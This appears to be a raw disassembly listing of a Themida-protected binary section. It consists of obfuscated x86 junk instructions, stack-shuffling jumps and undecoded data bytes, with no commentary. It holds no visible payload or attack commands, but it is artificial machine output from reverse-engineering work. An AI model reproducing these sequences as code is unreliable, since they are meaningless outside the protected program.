xchg ebp, [esp] mov esp, [esp] jmp loc_4FAF36 ; --------------------------------------------------------------------------- dw 0B252h dd 1DD9E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F5FDA: ; CODE XREF: Themida_:004F8004j xor esi, 3CBBE84Ah xor edx, esi push dword ptr [esp] pop esi add esp, 4 and eax, edx pop edx or eax, eax jz loc_4FB46F push dword ptr [edi+1Ch] jmp loc_4F37D6 ; --------------------------------------------------------------------------- loc_4F5FFF: ; CODE XREF: Themida_:004FF101j push ecx push edx mov dh, bh mov ch, dh pop edx mov [eax], ch pop ecx jmp loc_4F4E56 ; --------------------------------------------------------------------------- loc_4F600E: ; CODE XREF: Themida_:004F7858j or edi, 6CB26EA4h not edi neg edi dec edi xor edi, 750D6A45h sub ecx, 0B3B5E50h add ecx, 2D4F6B57h add ecx, edi jmp loc_4FAD7F ; --------------------------------------------------------------------------- dw 0D5F7h dd 6002ED81h, 0EDC10A24h, 20E58108h, 81682E14h, 26141CEDh dd 5DEE0100h, 0E904C683h, 0FFFFD8DBh, 0C15AD189h, 0F6E905E1h dd 83FFFFD4h, 0EA8304C4h, 24148704h, 1BDAE9h, 0E9E28900h dd 0FFFFE4EFh, 8FB85053h, 48753972h, 126BE935h, 279A0D0Fh dd 3548789Ah, 7ABB3DFEh, 24348150h, 21CB20A5h, 4F98E9h dd 0F7F38700h, 0C1F387D6h, 0DBF706EBh, 4591EB81h, 0C3815292h dd 0D4A7EB49h, 815BDE31h, 0EF3FA4CEh, 0B0EE8160h, 0E971FF3Fh dd 8C42h, 0E9241C8Bh, 31ADh, 5124248Bh, 0A6720B9h, 0E9C8291Eh dd 8E3Bh, 1B45051h, 1E35E9h, 61BD5500h, 8178BF40h, 5F500AE5h dd 3E5C127h, 814DDDF7h, 0D684F3EDh, 0E9EB89CFh, 5250h ; --------------------------------------------------------------------------- loc_4F6104: ; CODE XREF: Themida_:004F4FB9j mov ecx, [esp] add esp, 4 push ecx push esp pop ecx add ecx, 4 add ecx, 4 push ecx jmp loc_4FB38B ; --------------------------------------------------------------------------- dw 1C8Bh aSB db '$-b',0 align 2 dw 0DF87h dd 1AFBE947h, 0F65C0000h, 0B60F66F1h, 5430E9CCh, 0D9210000h dd 83241C8Bh, 0E9C104C4h, 377C6807h, 1C890000h, 0F889E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F6156: ; CODE XREF: Themida_:004FCB69j mov esi, 5B512013h push ebx push edi mov edi, 32E3121Bh inc edi neg edi push ebp jmp loc_4F6CE7 ; --------------------------------------------------------------------------- loc_4F616B: ; CODE XREF: Themida_:004FD9A0j sub esi, 372F68AEh dec esi add esi, 0F058E8A9h xor edi, esi push dword ptr [esp] pop esi add esp, 4 and eax, edi push dword ptr [esp] pop edi add esp, 4 shr eax, 10h jmp loc_4F54C6 ; --------------------------------------------------------------------------- loc_4F6198: ; CODE XREF: Themida_:004F568Aj add esp, 4 jmp loc_4F9A6B ; --------------------------------------------------------------------------- db 0B8h dd 56F6106Bh, 61C1B951h, 94E976B7h, 0BA000052h, 55757AFBh dd 7A0DE281h, 0C28128B3h, 2327D154h, 0FFFE8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F61C9: ; CODE XREF: Themida_:004F7B33j push dword ptr [esp] mov esi, [esp] jmp loc_4F5479 ; --------------------------------------------------------------------------- dd 0E7200C2Dh, 0D8F75D23h, 1ABBE9h db 0 ; --------------------------------------------------------------------------- loc_4F61E1: ; CODE XREF: Themida_:004F8C4Bj mov esi, 686C528Ah add esi, 0E4ADD1F2h shr esi, 8 not esi inc esi jmp loc_4F44D2 ; --------------------------------------------------------------------------- db 81h dd 0AB4273E3h, 60EB8172h, 0E920AA40h, 127Bh, 8704EE83h dd 248B2434h, 24048924h, 381AE9h, 0D9F74900h, 13B5BB53h dd 0F381344Ah, 0CB64C014h, 15BD929h, 148759CAh, 8079E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6236: ; CODE XREF: Themida_:004FA5F0j add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub eax, 47742C73h push dword ptr [esp] pop esi add esp, 4 shl eax, cl jmp loc_4F8072 ; --------------------------------------------------------------------------- dd 8BC8015Bh, 0C481240Ch, 4, 30E95752h, 5F000075h, 242C8151h dd 3B495265h, 5524348Bh, 8B62E9h, 240C8900h, 310E9h, 0CC6AE900h dd 6866FFFFh, 89663138h, 0FF662414h, 66022474h, 5324148Bh dd 15E268h, 24248900h, 4240481h, 5B000000h, 0FFF0DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F62B1: ; CODE XREF: Themida_:004F9CF8j sub ebx, 8513C00h mov edx, ebx mov ebx, [esp] add esp, 4 and eax, edx jmp loc_4FA2D4 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0BB000000h, 75737924h, 15A8E9h db 0 ; --------------------------------------------------------------------------- loc_4F62D9: ; CODE XREF: Themida_:004FD5A1j or esi, ebx pop ebx jmp loc_4F45D6 ; --------------------------------------------------------------------------- dd offset dword_4BC05C+70Ch align 2 aTswz db 'Tw',0 align 4 loc_4F62EC: ; CODE XREF: Themida_:004F8C83j and ebx, 4EF97B65h shr ebx, 2 add ebx, 0FD69F56Ch add ebp, 4B1F30D0h add ebp, ebx jmp loc_4FA187 ; --------------------------------------------------------------------------- dd 0F190E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F630E: ; CODE XREF: Themida_:004F37EAj xor [esp], eax xor eax, [esp] pop esp jmp loc_4F5975 ; --------------------------------------------------------------------------- loc_4F631A: ; CODE XREF: Themida_:004F7684j neg edi or edi, 7B5936C9h shr edi, 4 push edi push ebx jmp loc_4FA35E ; --------------------------------------------------------------------------- dd 66D3F766h, 0F73BE943h, 0E95BFFFFh, 0FFFFEC54h, 4C6815Eh dd 83000000h, 0C8904ECh, 4B924h, 0BD550000h, 7CE001E7h dd 3A66F581h, 0DDF73072h, 0E907E5C1h, 3BD0h, 0E912B850h dd 0C329C666h, 5297E9h, 4C48300h, 8B24048Fh, 8B662424h dd 0DD682404h, 89000011h, 0E954240Ch, 6503h, 0DFA68h, 242C8900h dd 242C8B54h, 6804C483h, 52D4h, 0BE243489h, 735D6484h dd 70D9EE81h, 0F681491Ch, 2A40F3AFh, 565EF501h, 2BEh, 6716E900h dd 0C870000h, 0F9F65C24h, 0FFCEB3E9h, 81E589FFh, 4C5h dd 4ED8100h, 87000000h, 895C242Ch, 26E9241Ch, 66000000h dd 0E9DEF65Bh, 8CD5h, 242C8157h, 1B8C3C76h, 7BBCE95Bh dd 53660000h, 7B35E9h, 2C77FF00h, 0FFCAE7E9h, 0C84BBFFh dd 0F3812920h, 72366D04h, 0E35FE94Bh, 0E5C1FFFFh, 4C58108h dd 1F7BF5Bh, 2434FFEBh, 4C4815Dh, 81000000h, 2C3h, 241C8700h dd 0C8B665Ch, 5B545324h, 0FFEE77E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F6449: ; CODE XREF: Themida_:004F57FCj xor esi, ebx pop ebx push esi jmp loc_4FB692 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 8704C783h, 0FF5C243Ch, 48B2434h, 4C48324h, 1C8B5453h dd 0E7895724h, 4C781h, 0A4E90000h, 5900002Eh, 4C481h, 0FFE90000h dd 8100002Ch, 0B9042444h, 0FF53E227h, 74E92434h, 89000020h dd 63BA2414h, 56194E2Fh, 1C1D4ABEh, 81AFE979h, 525C0000h dd 42474FFh, 5724148Bh, 7951E9h, 4C48300h, 99E9E821h, 100008Ah dd 2434FFF0h, 0E789575Eh, 4C781h, 0C7810000h, 4, 5C243C87h dd 0E9240487h, 2E2Bh, 0E9240C8Bh, 143Ah ; --------------------------------------------------------------------------- loc_4F64EC: ; CODE XREF: Themida_:004F69DEj pop ebp sub esi, 37B431E0h add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] jmp loc_4F47B4 ; --------------------------------------------------------------------------- aSTPsE db 'S',1Bh,'P܅',0 align 4 dd 0FFC18159h, 49FFFFFFh, 2379E981h, 81515EC4h, 25B42434h dd 0E95A15F9h, 0E99h, 0BDE4C281h, 0EDE9B3FFh, 5200004Ch dd 42474FFh, 24048F5Ah, 0E924248Bh, 599Dh, 0E92434FFh dd 0FFFFFF2Fh, 0DA89C389h, 83241C8Bh, 815804C4h, 320D11EAh dd 81FA0121h, 320D11C2h, 8B1A8821h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_4F5FC7 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 2C940504h, 0F02978ADh, 4820E953h, 0CA890000h dd 6728E9h, 4BA5200h, 89000000h, 6C815AD1h, 27B90424h dd 0EDE953E2h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F65AB: ; CODE XREF: Themida_:004F7C84j xchg ebx, [esp] pop esp and eax, ebp mov ebp, [esp] jmp loc_4FD86D ; --------------------------------------------------------------------------- db 5Ah, 0, 0D9h aAsSa_ db '[)_',0 dd 18EF8100h, 812C086Eh, 7A01DAEFh, 184EE93Dh, 36B90000h dd 31118571h, 2434FFF9h, 4C4815Fh, 31000000h, 0F02159CEh dd 0FC0095Eh, 0FFD55884h, 0BD5556FFh, 7E210FD8h, 6DE2E953h dd 8B660000h, 0E957240Ch, 55FDh, 6607E1C0h, 0F6C88850h dd 66C188D0h, 5E1C058h, 0E9F7E980h, 82D7h ; --------------------------------------------------------------------------- loc_4F6624: ; CODE XREF: Themida_:004F5CFAj sub ecx, 2 xchg ecx, [esp] pop esp mov [esp], cx jmp loc_4F9587 ; --------------------------------------------------------------------------- db 0FFh dd 39E92434h, 87FFFFD7h, 248B243Ch, 24042024h, 0C8A6E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F664E: ; CODE XREF: Themida_:004F3D34j not ebp add ebp, 48300086h mov edi, ebp pop ebp add esi, edi push dword ptr [esp] pop edi add esp, 4 push ebx mov ebx, 2 add esi, ebx pop ebx xchg esi, [esp] mov esp, [esp] push 6E85h mov [esp], ebx push 2620h mov [esp], eax push 6742h mov [esp], ecx mov ch, dl mov al, ch mov ecx, [esp] push edx jmp loc_4F66C2 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0F706EAC1h, 0A56E9DAh, 295A0000h, 0EC815EF2h, 4, 3A30E9h dd 4EC8300h, 89241C89h, 4D0BE9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F66C2: ; CODE XREF: Themida_:004F6694j mov edx, esp add edx, 4 add edx, 4 jmp loc_4F83AA ; --------------------------------------------------------------------------- db 0B7h, 0CBh, 0E9h dd 1386h, 8304C483h, 2C8904ECh, 7463E924h, 5E90000h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F66EF: ; CODE XREF: Themida_:004F552Aj add edi, 4 xchg edi, [esp] pop esp add ebp, eax pop eax add ebp, 4 xor ebp, [esp] jmp loc_4F6EC9 ; --------------------------------------------------------------------------- dd 0FFCD895Dh, 81592434h, 4C4h, 1D2AE900h, 89660000h, 0D5E92404h dd 81FFFFC7h, 251A63C2h, 81FA295Ch, 251A63EAh, 14875F5Ch dd 2C895C24h, 1C27BD24h, 0CD815184h, 22A95E2Bh, 8103EDC1h dd 701634C5h, 0BA52563Ah, 13D61490h, 7A14E9h, 83DD8900h dd 0C8904ECh, 81E18924h, 4C1h, 4E98100h, 0E9000000h, 0FFFFD6C4h dd 24048F5Eh, 240C895Ch, 2AB5E9h, 0D831AD00h, 474068h dd 24148900h, 27EC70BAh, 362C0578h, 0D0295741h, 1B34B951h dd 0B2E94CB2h, 68000028h, 0BA4h, 0E9241C89h, 1657h, 582434FFh dd 504C483h, 4, 54A868h, 24348900h, 4EEBE9h, 64E95700h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F67CB: ; CODE XREF: Themida_:004FC638j xor [esp], edi jmp loc_4F9069 ; --------------------------------------------------------------------------- db 81h dd 3903A9CAh, 0BD554A6Ah, 3E5A4656h, 0C105EDC1h, 0C58108E5h dd 7766F1A4h, 0FFEB7DE9h, 2434FFFFh, 8324148Bh, 895604C4h dd 4C681E6h, 83000000h, 348704C6h, 0E9525C24h, 8A85h ; --------------------------------------------------------------------------- loc_4F6810: ; CODE XREF: Themida_:004FCB3Cj pop eax sub ebx, 89424E91h mov ecx, ebx mov ebx, [esp] jmp loc_4F4077 ; --------------------------------------------------------------------------- db 0BFh, 7Fh, 36h dd 0F93167D7h, 59CF015Fh, 31243C33h, 3C33243Ch, 0F665C24h dd 9C2404B3h, 0FFC6B3E9h, 0F6E680FFh, 6603EEC0h, 8541E952h dd 815C0000h, 4C5h, 4ED8300h, 1EEAE9h, 2434FF00h, 4C4815Ah dd 0E9000000h, 26D9h, 24048B66h, 7C7AE9h, 50DAF700h, 8904EC83h dd 0FB9240Ch, 0C14F4930h, 0E98106E9h, 5A4F973Bh, 24048151h dd 753332DEh, 85A1E9h, 1C77FF00h, 6659669Dh, 9C2414D3h dd 0FFCF46E9h, 0B15CB6FFh, 5AF1004Ah, 0F65AD100h, 7E69E9D9h dd 81580000h, 4C4h, 18A46800h, 3C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_4F692D ; --------------------------------------------------------------------------- dw 0E935h dd 1F4EDBBh, 0CA8958C1h, 5E03E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F68EE: ; CODE XREF: Themida_:004F7327j mov ebx, [esp] add esp, 4 jmp loc_4F2EF4 ; --------------------------------------------------------------------------- loc_4F68F9: ; CODE XREF: Themida_:004FD5C1j push ebx push esp mov ebx, [esp] add esp, 4 jmp loc_4F911D ; --------------------------------------------------------------------------- db 1, 0DEh, 5Bh dd 0E904EE83h, 2EF2h, 0E924348Bh, 0FFFFF743h, 0E95AD101h dd 7CE5h, 5C240487h, 7393E9h db 0 ; --------------------------------------------------------------------------- loc_4F692D: ; CODE XREF: Themida_:004F68D9j mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_4FAB1A ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 0D3E904ECh, 6600001Fh, 8324148Bh, 0F18602C4h dd 42E9D6F6h, 81000031h, 0BA44A5E9h, 0C80FE939h, 0C483FFFFh dd 74FF5504h, 2CE90424h, 89000064h, 5EB9240Ch, 0F7003576h dd 0F7E9D1D9h, 7D1BE9D9h, 2C8B0000h, 0E7895724h, 4BA52h dd 5FE90000h, 8BFFFFDCh, 0D1E9240Ch, 5C000062h, 24148966h dd 0E99C5066h, 0FFFFC524h ; --------------------------------------------------------------------------- loc_4F69D0: ; CODE XREF: Themida_:004F88F4j sub ebp, 5E1E26E4h add ebp, 23A9A2DEh add esi, ebp jmp loc_4F64EC ; --------------------------------------------------------------------------- align 4 dd 0E9CE04F0h, 690Ch ; --------------------------------------------------------------------------- loc_4F69EC: ; CODE XREF: Themida_:004FA259j mov [esp], esi push ecx jmp loc_4F3984 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 83242C8Bh, 0C58104C4h, 4, 406468h, 24048900h, 0FFDE84E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F6A15: ; CODE XREF: Themida_:004F8D38j xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp] jmp loc_4F5220 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 22F18100h, 5125277Ch, 2240481h, 5855F82Ah dd 2A02B951h, 0C82955F8h, 2434FF59h, 0ABCE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6A4E: ; CODE XREF: Themida_:004F32A3j add esp, 4 xor ebx, [esp] jmp loc_4F6D96 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0E774E1BFh, 0E148E914h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F6A66: ; CODE XREF: Themida_:004F3B76j add esp, 4 add esp, 4 jmp loc_4F41F1 ; --------------------------------------------------------------------------- db 1, 0CFh, 59h aZAWq db '<$\wQ*',0 aIy db 'Y',0 aS_5 db ':',0 align 4 dd 0FF2434FFh, 5E92434h, 8900005Fh, 0E189240Ch, 7B3EE950h dd 8F5A0000h, 248B2404h, 0BB0F6624h, 0E99C2404h, 0FFFFC444h dd 75B9515Bh, 0D17CA36Ch, 1AC181E1h, 106B927h, 0C38359CBh dd 0F1CBE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F6ACA: ; CODE XREF: Themida_:004FA88Bj add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_4F4C1B ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 9C2414D2h, 0FFC403E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F6AF1: ; CODE XREF: Themida_:004FE53Aj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_4FEBA3 ; --------------------------------------------------------------------------- loc_4F6B00: ; CODE XREF: Themida_:004F5753j add esp, 4 jmp loc_4F5AB9 ; --------------------------------------------------------------------------- loc_4F6B08: ; CODE XREF: Themida_:004F7064j sub esp, 4 mov [esp], esi push 2E47D50Eh pop esi add edx, esi push dword ptr [esp] pop esi push ebx mov ebx, esp jmp loc_4F3081 ; --------------------------------------------------------------------------- loc_4F6B25: ; CODE XREF: Themida_:004FB3B0j mov ebp, [esp] jmp loc_4FD1C0 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aH3a db '$h3a',0 align 2 dw 1489h aHzb db '$hzb',0 align 2 dw 1AE9h dd 0FF000008h, 48B2434h, 4C48324h, 570E9h db 0 ; --------------------------------------------------------------------------- loc_4F6B51: ; CODE XREF: Themida_:004FEB9Ej inc ebp neg ebp sub ebp, 0CA6CFFF2h sub esi, ebp pop ebp add ebp, esi pop esi add ebp, 4 jmp loc_4F3B9F ; --------------------------------------------------------------------------- loc_4F6B68: ; CODE XREF: Themida_:004F807Bj sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_4FCF73 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 83000000h, 148704C2h, 0D8E95C24h, 1000066h dd 5D04246Ch, 81242C8Bh, 4C4h, 4BB5300h, 1000000h, 0C5835BDDh dd 74FF5502h, 8F5D0424h, 248B2404h, 242CD224h, 0C33AE99Ch dd 0EE01FFFFh, 4EC815Dh, 0E9000000h, 0FFFFC368h, 0D1A77EBEh dd 58C62978h, 5768E9h, 11B95100h, 0E95ED966h, 0FFFFD249h dd 89242C89h, 4C581E5h, 81000000h, 4C5h, 242C8700h, 606D685Ch dd 34890000h, 2474FF24h, 8467E904h, 70BE0000h, 0E9350132h dd 0FFFFF2A4h, 0C108E7C1h, 0EF8107EFh, 7685527Fh, 165AE9h dd 4C48300h, 2C32C580h, 7B36E95Fh, 0C4830000h, 0D1C20904h dd 0F3368E2h, 41E90000h, 0B1FFFFC3h, 59CE28B6h, 800EE680h dd 0B75325E6h, 80DFF673h, 0F780C9C7h, 8BFE28B7h, 0C483241Ch dd 5AF58804h, 34FFE830h, 2434FF24h, 0E7895759h, 4C781h dd 0C9E90000h, 66000067h, 5724048Bh, 4EC81h, 0C9680000h dd 89000064h, 0B9512424h, 4, 4244C01h, 24048F59h, 6291E9h dd 241C8900h, 0E955C389h, 0FFFFFAADh, 21BEBE56h, 0C1460F27h dd 0CDE903EEh, 83000071h, 19E904C0h, 0FF000042h, 0C2E92434h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6CC7: ; CODE XREF: Themida_:004F4EC6j mov ecx, [esp] add esp, 4 push 64EAh jmp loc_4FEEC5 ; --------------------------------------------------------------------------- db 0FFh dd 0B1E91C77h, 8BFFFFD1h, 0D7E92434h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F6CE7: ; CODE XREF: Themida_:004F6166j mov ebp, 0CFD295B3h xor edi, ebp jmp loc_4F925D ; --------------------------------------------------------------------------- db 88h dd 0E9D088FAh, 0D9Bh, 67F9E981h, 0D92973F0h, 67F9C181h dd 5E973F0h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6D0F: ; CODE XREF: Themida_:004F7F67j mov ebx, 1813AFCh inc ebx shl ebx, 4 push edi mov edi, 1813AFCCh sub ebx, edi pop edi sub eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] mov [esp], eax mov eax, 1 push ecx push edx mov edx, 24h jmp loc_4FA550 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 0DBC3E900h, 0C380FFFFh, 80CB2881h, 0C8B81EBh dd 0E3895324h, 4C381h, 0BD550000h, 71237FACh, 8058C581h dd 0EB018EDCh, 0FFC8ADE9h, 240489FFh, 0FFCCCAE9h, 5A6658FFh dd 803DE180h, 0D18611F1h, 0D186D2F6h, 8067E180h, 0E9805CF1h dd 0F876E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F6D96: ; CODE XREF: Themida_:004F6A54j xor [esp], ebx xor ebx, [esp] pop esp bt [esp], eax pushf jmp loc_4F2EF4 ; --------------------------------------------------------------------------- db 66h dd 0EFB45052h, 0E228B2B2h, 0D4885058h, 0BEE9E188h, 81FFFFFFh dd 4C3h, 4C38300h, 31241C33h, 1C33241Ch, 4FF5C24h, 1DE99C24h dd 0FFFFFFC1h, 0E9042474h, 67C6h, 65A868h, 24248900h, 4240483h dd 5B83E9h, 240C8700h, 0E9E9F65Ch, 0D13h, 0E9243C89h, 0FFFFD1B6h dd 1FEDE981h, 0E95E58F7h, 0FFFFF5B2h, 0D04FE95Ah, 57BFFFFFh dd 0F75A5422h, 4FD7F7D7h, 0ABC78147h, 1A5ABDDh, 14335FFAh dd 24143124h, 5C241433h, 7261E9h, 4EC8100h, 0E9000000h dd 46EDh, 0C681E689h, 4, 4C681h, 34870000h, 0F7E95C24h dd 0C0FFFFF5h, 0D4F603ECh, 88F1EC80h, 24048BE2h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx jmp loc_4FA12C ; --------------------------------------------------------------------------- loc_4F6E7F: ; CODE XREF: Themida_:004F930Aj push ecx mov ch, 7Fh push edx jmp loc_4F4463 ; --------------------------------------------------------------------------- dd 468h, 53505A00h, 2FA0E9h, 7BEE8100h, 0C101443Ah, 0EE8102EEh dd 0F3975201h, 0E95EF389h, 0FFFFD11Ch, 4EC81h, 2C890000h dd 39BAE924h, 24890000h, 24048124h, 4, 4A24E9h db 0 ; --------------------------------------------------------------------------- loc_4F6EC9: ; CODE XREF: Themida_:004F66FFj xor [esp], ebp xor ebp, [esp] pop esp jmp loc_4F2EF4 ; --------------------------------------------------------------------------- aUqsD db 'UQD',0 align 4 loc_4F6EDC: ; CODE XREF: Themida_:004F327Bj add ebx, esi jmp loc_4F32A0 ; --------------------------------------------------------------------------- db 0BAh dd 5555586Dh, 1B44C281h, 45E9552Eh, 0BA00000Ch, 2DA11EF0h dd 255AD021h, 2AE76883h, 68F6BA52h, 0D00106D9h, 566CE9h dd 4C68100h, 56000000h, 42474FFh, 24048F5Eh, 55E9F75Ch dd 0FFC3F9E9h, 0E08950FFh, 405h, 40500h, 4870000h, 35E95C24h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6F3B: ; CODE XREF: Themida_:004FE095j push edx mov edx, 2071369h jmp loc_4FF41D ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835924h, 8E8C104h, 5750C831h, 8124048Bh, 4C4h, 2434FF00h dd 4C4815Fh, 0E9000000h, 8088h, 7F16EA81h, 348B621Fh, 3696E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F6F7A: ; CODE XREF: Themida_:004F45CAj add ebp, 7E4C1A38h neg ebp push ebx mov ebx, 526E7635h dec ebx not ebx push ecx mov ecx, 0D307E00h push edx mov edx, 0 jmp loc_4F4E9C ; --------------------------------------------------------------------------- dd 4C481h, 0DA890000h, 83241C8Bh, 0C56804C4h, 89000032h dd 478F2414h, 24148B24h, 3104C483h, 6AE953D2h, 0FEFFFFEEh dd 0EBB050CAh, 0C05EB252h, 0F28008E2h, 5AD0307Eh, 70CA6853h dd 0C890000h, 76CEE924h, 5B90000h, 68248E36h, 613Eh, 0E9241489h dd 0FFFFCA6Dh, 5A54525Bh, 4C281h, 0C2830000h, 0F52DE904h dd 0C381FFFFh, 4, 4C381h, 1C870000h, 1C4EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F701A: ; CODE XREF: Themida_:004FD900j xchg ebp, [esp] push ebp not dword ptr [esp] pop ebp push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] push dword ptr [esp] pop eax jmp loc_4F7826 ; --------------------------------------------------------------------------- dd 5C243487h, 405h, 4C08300h, 142868h, 24048900h, 42474FFh dd 24048F58h, 0C8BF0F5Ch, 35CE68h, 7227E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F705E: ; CODE XREF: Themida_:004FCC42j push edx mov edx, 1D5D73F0h jmp loc_4F6B08 ; --------------------------------------------------------------------------- db 5Bh, 0, 0C8h dd 0C98E9h, 2434FF00h, 0E1895158h, 0E6DBD55h, 0BA521997h dd 3CFA2973h, 815AD521h, 920865F5h, 0DCEEE918h, 0D905FFFFh dd 0E9272F59h, 0FFFFECD6h, 7C4AE959h, 73BF0000h, 31108140h dd 0C043E9FDh, 1CB7FFFFh, 80DBCF80h, 0F780EDCFh, 4AF78039h dd 4A17E9h, 9EC6800h, 4890000h, 68585424h, 3BAFh, 0BD242C89h dd 4, 427FE9h, 2AB85000h, 0BF4B0B7Dh, 0C271F12h, 8158C731h dd 0FFFFFFEFh, 50F781FFh, 0E929403Dh, 5AD6h, 80F2814Ah dd 52FEF78Dh, 65243481h, 5F141D53h, 5365F781h, 0E95A141Dh dd 0FFFFF4BEh, 4B8h, 0CE21E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7122: ; CODE XREF: Themida_:004F388Cj xchg eax, [esp] pop esp jmp loc_4FD67F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 68C33000h, 560Fh, 57243489h, 51DBE952h, 0DF870000h dd 7A8F781h, 0E7C1731Dh, 4C78106h, 10BBF50h, 243C8BFAh dd 446E9h, 4EE8100h, 0E9000000h, 9E7h, 240C8B66h, 68D2E9h dd 0C4815900h, 4, 4BA52h, 99E90000h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F7183: ; CODE XREF: Themida_:004F5F5Bj sub ecx, 68D2456Bh mov eax, [ecx] mov ecx, [esp] add esp, 4 push 382Ch jmp loc_4F8488 ; --------------------------------------------------------------------------- loc_4F719E: ; CODE XREF: Themida_:004F31FFj add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_4FCB4D ; --------------------------------------------------------------------------- dw 5FBFh dd 0C1142040h, 0EF8102E7h, 20A977E6h, 85CDEF81h, 0ED811B09h dd 1544141Eh, 0C581FD01h, 1544141Eh, 96C5815Fh, 50556354h dd 4656EBB8h, 0C26B052Ch, 0C5290763h, 2DC58158h, 21EB4357h dd 0C1465DEEh, 0AAE904E6h, 0B8000042h, 0EF180004h, 158C601h dd 94E95EF1h, 1FFFFCBh, 0E7C15BDFh, 2EFC103h, 7141E9h dd 0C5815D00h, 4, 3304C583h, 1E9242Ch db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F722B: ; CODE XREF: Themida_:004FE343j mov [esp], edi push ebp push ebx mov ebx, 33ED3F42h mov ebp, 59E36E06h or ebp, 8CD648Eh and ebp, 7F94250h xor ebp, 2C8A1720h xor ebp, ebx pop ebx add [esp+4], ebp pop ebp jmp loc_4F8F5C ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 405h, 4E88300h, 0FFC950E9h, 0DD2566FFh, 0E0C16638h dd 0CD256607h, 362D6639h, 0C62166C5h, 0EE816658h, 89663FA6h dd 2D665EF3h, 56602A0h, 29660777h, 665666D8h, 660777BEh dd 661AE42Dh, 566F029h, 5E661AE4h, 2A00566h, 5D665B66h dd 19D06866h, 0BADE9h, 53D70100h, 3D2789BBh, 68D4E90Bh dd 8B660000h, 0EC81240Ch, 4, 0E9241489h, 342Ch ; --------------------------------------------------------------------------- loc_4F72D4: ; CODE XREF: Themida_:004F5695j shr ebp, 4 add ebp, 1 or ebp, 51B05DFDh xor ebp, 38774CD6h add ebp, 7775398Bh add ebp, 9180542Dh mov edi, ebp pop ebp xor edi, 620128B6h neg edi inc edi shr edi, 5 jmp loc_4FA2AE ; --------------------------------------------------------------------------- db 0BEh, 0F1h, 47h dd 0F7E90DA2h, 8900001Eh, 0E6892434h, 4C681h, 25E90000h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7323: ; CODE XREF: Themida_:004FA687j mov [edi+eax*4+1], bh jmp loc_4F68EE ; --------------------------------------------------------------------------- dd 33242C31h, 815C242Ch, 4C3h, 30EDE900h, 0DF680000h, 8900000Dh dd 0B7532414h, 0E9D7F607h, 0FFFFBC6Fh, 0BD242C89h, 7E533DD2h dd 0FFD354E9h, 48F54FFh, 24048324h, 0C2815A04h, 4, 0FDE95056h dd 89FFFFE7h, 1CF7E9D8h, 0C4830000h, 0BB72E904h, 0E981FFFFh dd 0FE843FAAh, 93E9CD89h, 0C100002Bh, 0C28103EAh, 0EB36EDA2h dd 215AD789h, 243C8BF8h, 0FFC5C3E9h, 4C483FFh, 0E5C15E5Eh dd 1ED8306h, 5605E5C1h, 0A39FBA52h, 0D689647Eh, 